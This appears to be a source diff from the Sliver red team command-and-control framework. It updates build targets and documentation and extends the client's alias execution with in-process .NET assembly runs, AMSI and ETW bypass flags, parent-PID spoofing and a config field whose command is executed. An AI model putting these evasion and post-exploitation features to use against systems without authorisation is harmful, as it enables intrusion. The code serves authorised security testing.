GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
macos-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean validate-go-version
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
linux: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: linux-arm64
|
||||
linux-arm64: clean .downloaded_assets validate-go-version
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
GOOS=linux GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
windows: clean .downloaded_assets validate-go-version
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server$(ARTIFACT_SUFFIX).exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client$(ARTIFACT_SUFFIX).exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
@@ -128,6 +155,11 @@ pb:
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: debug
|
||||
debug: clean
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),server $(LDFLAGS_DEBUG) -o sliver-server$(ARTIFACT_SUFFIX) ./server
|
||||
$(ENV) $(GO) build -mod=vendor $(TAGS),client $(LDFLAGS_DEBUG) -o sliver-client$(ARTIFACT_SUFFIX) ./client
|
||||
|
||||
validate-go-version:
|
||||
@if [ $(GO_MAJOR_VERSION) -gt $(MIN_SUPPORTED_GO_MAJOR_VERSION) ]; then \
|
||||
exit 0 ;\
|
||||
@@ -146,8 +178,12 @@ clean-all: clean
|
||||
rm -rf ./server/assets/fs/windows/amd64
|
||||
rm -rf ./server/assets/fs/linux/amd64
|
||||
rm -f ./server/assets/fs/*.zip
|
||||
rm -f ./.downloaded_assets
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
|
||||
.downloaded_assets:
|
||||
./go-assets.sh
|
||||
touch ./.downloaded_assets
|
||||
@@ -1,11 +1,11 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary encryption keys.
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS and are dynamically compiled with per-binary asymmetric encryption keys.
|
||||
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
[](https://github.com/BishopFox/sliver/actions/workflows/autorelease.yml) [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
@@ -40,6 +40,10 @@ Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a
|
||||
|
||||
See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
|
||||
### Feedback
|
||||
|
||||
Please take a moment and fill out [our survey](https://forms.gle/SwVsHFNh24ChG58C6)
|
||||
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
+1
-1
@@ -15,4 +15,4 @@ Anything in the `master` branch, without an open ticket.
|
||||
|
||||
### Reporting a Vulnerability
|
||||
|
||||
Please report high and/or critical vulnerabilities via email `jdemesy<[a]>bishopfox.com`, if no response within 14 days, file a ticket with a `security` tag. Medium to Low risk vulnerabilities can simply be filed as a normal bug/issue with the `security` tag.
|
||||
Please report high and/or critical vulnerabilities via GitHub's private [report a vulnerability feature](https://github.com/BishopFox/sliver/security/advisories).
|
||||
@@ -21,7 +21,9 @@ package assets
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
@@ -30,8 +32,10 @@ const (
|
||||
)
|
||||
|
||||
var (
|
||||
// DefaultArmoryPublicKey - The default public key for the armory
|
||||
DefaultArmoryPublicKey string
|
||||
DefaultArmoryRepoURL string
|
||||
// DefaultArmoryRepoURL - The default repo url for the armory
|
||||
DefaultArmoryRepoURL string
|
||||
|
||||
defaultArmoryConfig = &ArmoryConfig{
|
||||
PublicKey: DefaultArmoryPublicKey,
|
||||
@@ -39,9 +43,12 @@ var (
|
||||
}
|
||||
)
|
||||
|
||||
// ArmoryConfig - The armory config file
|
||||
type ArmoryConfig struct {
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
PublicKey string `json:"public_key"`
|
||||
RepoURL string `json:"repo_url"`
|
||||
Authorization string `json:"authorization"`
|
||||
AuthorizationCmd string `json:"authorization_cmd"`
|
||||
}
|
||||
|
||||
// GetArmoriesConfig - The parsed armory config file
|
||||
@@ -59,5 +66,22 @@ func GetArmoriesConfig() []*ArmoryConfig {
|
||||
if err != nil {
|
||||
return []*ArmoryConfig{defaultArmoryConfig}
|
||||
}
|
||||
for _, armoryConfig := range armoryConfigs {
|
||||
if armoryConfig.AuthorizationCmd != "" {
|
||||
armoryConfig.Authorization = executeAuthorizationCmd(armoryConfig)
|
||||
}
|
||||
}
|
||||
return append(armoryConfigs, defaultArmoryConfig)
|
||||
}
|
||||
|
||||
func executeAuthorizationCmd(armoryConfig *ArmoryConfig) string {
|
||||
if armoryConfig.AuthorizationCmd == "" {
|
||||
return ""
|
||||
}
|
||||
out, err := exec.Command(armoryConfig.AuthorizationCmd).CombinedOutput()
|
||||
if err != nil {
|
||||
log.Printf("Failed to execute authorization_cmd '%s': %v", armoryConfig.AuthorizationCmd, err)
|
||||
return ""
|
||||
}
|
||||
return string(out)
|
||||
}
|
||||
@@ -33,6 +33,9 @@ type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
SmallTermWidth int `json:"small_term_width"`
|
||||
AlwaysOverflow bool `json:"always_overflow"`
|
||||
VimMode bool `json:"vim_mode"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
@@ -55,6 +58,9 @@ func defaultSettings() *ClientSettings {
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
SmallTermWidth: 170,
|
||||
AlwaysOverflow: false,
|
||||
VimMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
@@ -59,9 +59,9 @@ func installFromDir(aliasLocalPath string, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.Name))
|
||||
installPath := filepath.Join(assets.GetAliasesDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.Name)
|
||||
con.PrintInfof("Alias '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
|
||||
+162
-34
@@ -22,19 +22,21 @@ import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/help"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
consts "github.com/bishopfox/sliver/client/constants"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
const (
|
||||
@@ -64,12 +66,14 @@ type loadedAlias struct {
|
||||
Command *grumble.Command
|
||||
}
|
||||
|
||||
// AliasFile - An OS/Arch specific file
|
||||
type AliasFile struct {
|
||||
OS string `json:"os"`
|
||||
Arch string `json:"arch"`
|
||||
Path string `json:"path"`
|
||||
}
|
||||
|
||||
// AliasManifest - The manifest for an alias, contains metadata
|
||||
type AliasManifest struct {
|
||||
Name string `json:"name"`
|
||||
Version string `json:"version"`
|
||||
@@ -137,7 +141,7 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
// parse it
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
data, err := os.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
@@ -154,10 +158,13 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
}
|
||||
|
||||
helpMsg := fmt.Sprintf("[%s] %s", aliasManifest.Name, aliasManifest.Help)
|
||||
longHelpMsg := help.FormatHelpTmpl(aliasManifest.LongHelp)
|
||||
longHelpMsg += "\n\n⚠️ If you're having issues passing arguments to the alias please read:\n"
|
||||
longHelpMsg += "https://github.com/BishopFox/sliver/wiki/Aliases-&-Extensions#aliases-command-parsing"
|
||||
addAliasCmd := &grumble.Command{
|
||||
Name: aliasManifest.CommandName,
|
||||
Help: helpMsg,
|
||||
LongHelp: help.FormatHelpTmpl(aliasManifest.LongHelp),
|
||||
LongHelp: longHelpMsg,
|
||||
Run: func(extCtx *grumble.Context) error {
|
||||
con.Println()
|
||||
runAliasCommand(extCtx, con)
|
||||
@@ -170,8 +177,15 @@ func LoadAlias(manifestPath string, con *console.SliverConsoleClient) (*AliasMan
|
||||
f.String("c", "class", "", "Optional class name (required for .NET DLL)")
|
||||
f.String("d", "app-domain", "", "AppDomain name to create for .NET assembly. Generated randomly if not set.")
|
||||
f.String("a", "arch", "x84", "Assembly target architecture: x86, x64, x84 (x86+x64)")
|
||||
f.Bool("i", "in-process", false, "Run in the current sliver process")
|
||||
f.String("r", "runtime", "", "Runtime to use for running the assembly (only supported when used with --in-process)")
|
||||
f.Bool("M", "amsi-bypass", false, "Bypass AMSI on Windows (only supported when used with --in-process)")
|
||||
f.Bool("E", "etw-bypass", false, "Bypass ETW on Windows (only supported when used with --in-process)")
|
||||
|
||||
}
|
||||
f.String("p", "process", "", "Path to process to host the shared object")
|
||||
f.String("A", "process-arguments", "", "arguments to pass to the hosting process")
|
||||
f.Uint("P", "ppid", 0, "parent process ID to use when creating the hosting process (Windows only)")
|
||||
f.Bool("s", "save", false, "Save output to disk")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
@@ -230,17 +244,27 @@ func ParseAliasManifest(data []byte) (*AliasManifest, error) {
|
||||
}
|
||||
|
||||
func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
var goos string
|
||||
var goarch string
|
||||
if session != nil {
|
||||
goos = session.OS
|
||||
goarch = session.Arch
|
||||
} else {
|
||||
goos = beacon.OS
|
||||
goarch = beacon.Arch
|
||||
}
|
||||
|
||||
loadedAlias, ok := loadedAliases[ctx.Command.Name]
|
||||
if !ok {
|
||||
con.PrintErrorf("No alias found for `%s` command\n", ctx.Command.Name)
|
||||
return
|
||||
}
|
||||
aliasManifest := loadedAlias.Manifest
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, session.GetOS(), session.GetArch())
|
||||
binPath, err := aliasManifest.getFileForTarget(ctx.Command.Name, goos, goarch)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Fail to find alias file: %s\n", err)
|
||||
return
|
||||
@@ -252,47 +276,91 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
} else {
|
||||
extArgs = strings.Join(args, " ")
|
||||
}
|
||||
|
||||
extArgs = strings.TrimSpace(extArgs)
|
||||
entryPoint := aliasManifest.Entrypoint
|
||||
processArgsStr := ctx.Flags.String("process-arguments")
|
||||
// Special case for payloads with pass to Donut (.NET assemblies and sideloaded payloads):
|
||||
// The Donut loader has a hard limit of 256 characters for the command line arguments, so
|
||||
// we're alerting the user that the arguments will be truncated.
|
||||
if len(extArgs) > 256 && (aliasManifest.IsAssembly || !aliasManifest.IsReflective) {
|
||||
msgStr := ""
|
||||
// The --in-process flag only exists for .NET assemblies (aliasManifest.IsAssembly == true).
|
||||
// Groupping the two conditions together could crash the client since ctx.Flags.Type panics
|
||||
// if the flag is not registered.
|
||||
if aliasManifest.IsAssembly {
|
||||
inProcess := ctx.Flags.Bool("in-process")
|
||||
runtime := ctx.Flags.String("runtime")
|
||||
amsiBypass := ctx.Flags.Bool("amsi-bypass")
|
||||
etwBypass := ctx.Flags.Bool("etw-bypass")
|
||||
if !inProcess {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for .NET assemblies.\nConsider using the --in-process flag to execute .NET assemblies in-process and work around this limitation.\n"
|
||||
}
|
||||
if !inProcess && (runtime != "" || etwBypass || amsiBypass) {
|
||||
con.PrintErrorf("The --runtime, --etw-bypass, and --amsi-bypass flags can only be used with the --in-process flag\n")
|
||||
return
|
||||
}
|
||||
} else if !aliasManifest.IsReflective {
|
||||
msgStr = " Arguments are limited to 256 characters when using the default fork/exec model for non-reflective PE payloads.\n"
|
||||
}
|
||||
con.PrintWarnf(msgStr)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Do you want to continue?"}
|
||||
survey.AskOne(prompt, &confirm, nil)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
}
|
||||
processArgs := strings.Split(processArgsStr, " ")
|
||||
processName := ctx.Flags.String("process")
|
||||
if processName == "" {
|
||||
processName, err = aliasManifest.getDefaultProcess(session.GetOS())
|
||||
processName, err = aliasManifest.getDefaultProcess(goos)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
isDLL := false
|
||||
if filepath.Ext(binPath) == ".dll" {
|
||||
if strings.ToLower(filepath.Ext(binPath)) == ".dll" {
|
||||
isDLL = true
|
||||
}
|
||||
binData, err := ioutil.ReadFile(binPath)
|
||||
binData, err := os.ReadFile(binPath)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
var outFilePath *os.File
|
||||
if ctx.Flags.Bool("save") {
|
||||
outFile := path.Base(fmt.Sprintf("%s_%s*.log", ctx.Command.Name, session.GetHostname()))
|
||||
outFilePath, err = ioutil.TempFile("", outFile)
|
||||
outFile := filepath.Base(fmt.Sprintf("%s_%s*.log", filepath.Base(ctx.Command.Name), filepath.Base(session.GetHostname())))
|
||||
outFilePath, err = os.CreateTemp("", outFile)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if aliasManifest.IsAssembly {
|
||||
|
||||
// Execute Assembly
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
executeAssemblyResp, err := con.Rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
IsDLL: isDLL,
|
||||
Process: processName,
|
||||
Arguments: extArgs,
|
||||
Assembly: binData,
|
||||
Arch: ctx.Flags.String("arch"),
|
||||
Method: ctx.Flags.String("method"),
|
||||
ClassName: ctx.Flags.String("class"),
|
||||
AppDomain: ctx.Flags.String("app-domain"),
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
InProcess: ctx.Flags.Bool("in-process"),
|
||||
Runtime: ctx.Flags.String("runtime"),
|
||||
AmsiBypass: ctx.Flags.Bool("amsi-bypass"),
|
||||
EtwBypass: ctx.Flags.Bool("etw-bypass"),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
@@ -300,12 +368,24 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
con.PrintInfof("Output:\n%s", string(executeAssemblyResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(executeAssemblyResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
|
||||
if executeAssemblyResp.Response != nil && executeAssemblyResp.Response.Async {
|
||||
con.AddBeaconCallback(executeAssemblyResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, executeAssemblyResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(executeAssemblyResp.Response)
|
||||
} else {
|
||||
PrintAssemblyOutput(ctx.Command.Name, executeAssemblyResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else if aliasManifest.IsReflective {
|
||||
|
||||
// Spawn DLL
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -316,21 +396,33 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
EntryPoint: aliasManifest.Entrypoint,
|
||||
Kill: true,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if spawnDllResp.Response != nil && spawnDllResp.Response.Async {
|
||||
con.AddBeaconCallback(spawnDllResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, spawnDllResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(spawnDllResp.Response)
|
||||
} else {
|
||||
PrintSpawnDLLOutput(ctx.Command.Name, spawnDllResp, outFilePath, con)
|
||||
}
|
||||
|
||||
} else {
|
||||
|
||||
// Sideload
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Executing %s %s ...", ctx.Command.Name, extArgs)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
@@ -342,23 +434,59 @@ func runAliasCommand(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
ProcessName: processName,
|
||||
Kill: true,
|
||||
IsDLL: isDLL,
|
||||
ProcessArgs: processArgs,
|
||||
PPid: uint32(ctx.Flags.Uint("ppid")),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Output:\n%s", sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
if sideloadResp.Response != nil && sideloadResp.Response.Async {
|
||||
con.AddBeaconCallback(sideloadResp.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, sideloadResp)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode call ext response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
})
|
||||
con.PrintAsyncResponse(sideloadResp.Response)
|
||||
} else {
|
||||
PrintSideloadOutput(ctx.Command.Name, sideloadResp, outFilePath, con)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSpawnDLLOutput - Prints the output of a spawn dll command
|
||||
func PrintSpawnDLLOutput(cmdName string, spawnDllResp *sliverpb.SpawnDll, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, spawnDllResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(spawnDllResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintSideloadOutput - Prints the output of a sideload command
|
||||
func PrintSideloadOutput(cmdName string, sideloadResp *sliverpb.Sideload, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, sideloadResp.GetResult())
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write([]byte(sideloadResp.GetResult()))
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
// PrintAssemblyOutput - Prints the output of an execute-assembly command
|
||||
func PrintAssemblyOutput(cmdName string, execAsmResp *sliverpb.ExecuteAssembly, outFilePath *os.File, con *console.SliverConsoleClient) {
|
||||
con.PrintInfof("%s output:\n%s", cmdName, string(execAsmResp.GetOutput()))
|
||||
if outFilePath != nil {
|
||||
outFilePath.Write(execAsmResp.GetOutput())
|
||||
con.PrintInfof("Output saved to %s\n", outFilePath.Name())
|
||||
}
|
||||
}
|
||||
|
||||
func cmdExists(name string, app *grumble.App) bool {
|
||||
for _, c := range app.Commands().All() {
|
||||
if name == c.Name {
|
||||
|
||||
@@ -38,12 +38,15 @@ import (
|
||||
"golang.org/x/term"
|
||||
)
|
||||
|
||||
// ArmoryIndex - Index JSON containing alias/extension/bundle information
|
||||
type ArmoryIndex struct {
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
ArmoryConfig *assets.ArmoryConfig `json:"-"`
|
||||
Aliases []*ArmoryPackage `json:"aliases"`
|
||||
Extensions []*ArmoryPackage `json:"extensions"`
|
||||
Bundles []*ArmoryBundle `json:"bundles"`
|
||||
}
|
||||
|
||||
// ArmoryPackage - JSON metadata for alias or extension
|
||||
type ArmoryPackage struct {
|
||||
Name string `json:"name"`
|
||||
CommandName string `json:"command_name"`
|
||||
@@ -53,12 +56,15 @@ type ArmoryPackage struct {
|
||||
IsAlias bool `json:"-"`
|
||||
}
|
||||
|
||||
// ArmoryBundle - A list of packages
|
||||
type ArmoryBundle struct {
|
||||
Name string `json:"name"`
|
||||
Packages []string `json:"packages"`
|
||||
}
|
||||
|
||||
// ArmoryHTTPConfig - Configuration for armory HTTP client
|
||||
type ArmoryHTTPConfig struct {
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
IgnoreCache bool
|
||||
ProxyURL *url.URL
|
||||
Timeout time.Duration
|
||||
@@ -66,20 +72,22 @@ type ArmoryHTTPConfig struct {
|
||||
}
|
||||
|
||||
type indexCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Index ArmoryIndex
|
||||
LastErr error
|
||||
}
|
||||
|
||||
type pkgCacheEntry struct {
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
ArmoryConfig *assets.ArmoryConfig
|
||||
RepoURL string
|
||||
Fetched time.Time
|
||||
Pkg ArmoryPackage
|
||||
Sig minisign.Signature
|
||||
Alias *alias.AliasManifest
|
||||
Extension *extensions.ExtensionManifest
|
||||
LastErr error
|
||||
}
|
||||
|
||||
var (
|
||||
@@ -88,7 +96,10 @@ var (
|
||||
// public key -> armoryPkgCacheEntry
|
||||
pkgCache = sync.Map{}
|
||||
|
||||
cacheTime = time.Hour // This will kill a download if exceeded so needs to be large
|
||||
// cacheTime - How long to cache the index/pkg manifests
|
||||
cacheTime = time.Hour
|
||||
|
||||
// This will kill a download if exceeded so needs to be large
|
||||
defaultTimeout = 15 * time.Minute
|
||||
)
|
||||
|
||||
@@ -223,8 +234,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.SetTitle(console.Bold + "Packages" + console.Normal)
|
||||
|
||||
minWidth := 150
|
||||
if minWidth < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
tw.AppendHeader(table.Row{
|
||||
"Command Name",
|
||||
"Version",
|
||||
@@ -279,7 +289,7 @@ func PrintArmoryPackages(aliases []*alias.AliasManifest, exts []*extensions.Exte
|
||||
if extensions.CmdExists(pkg.CommandName, con.App) {
|
||||
color = console.Green
|
||||
}
|
||||
if minWidth < width {
|
||||
if con.Settings.SmallTermWidth < width {
|
||||
rows = append(rows, table.Row{
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.CommandName),
|
||||
fmt.Sprintf(color+"%s"+console.Normal, pkg.Version),
|
||||
@@ -313,9 +323,26 @@ func PrintArmoryBundles(bundles []*ArmoryBundle, con *console.SliverConsoleClien
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
for _, bundle := range bundles {
|
||||
if len(bundle.Packages) < 1 {
|
||||
continue
|
||||
}
|
||||
packages := bundle.Packages[0]
|
||||
if 1 < len(packages) {
|
||||
packages += ", "
|
||||
}
|
||||
for index, pkgName := range bundle.Packages[1:] {
|
||||
if index%5 == 4 {
|
||||
packages += pkgName + "\n"
|
||||
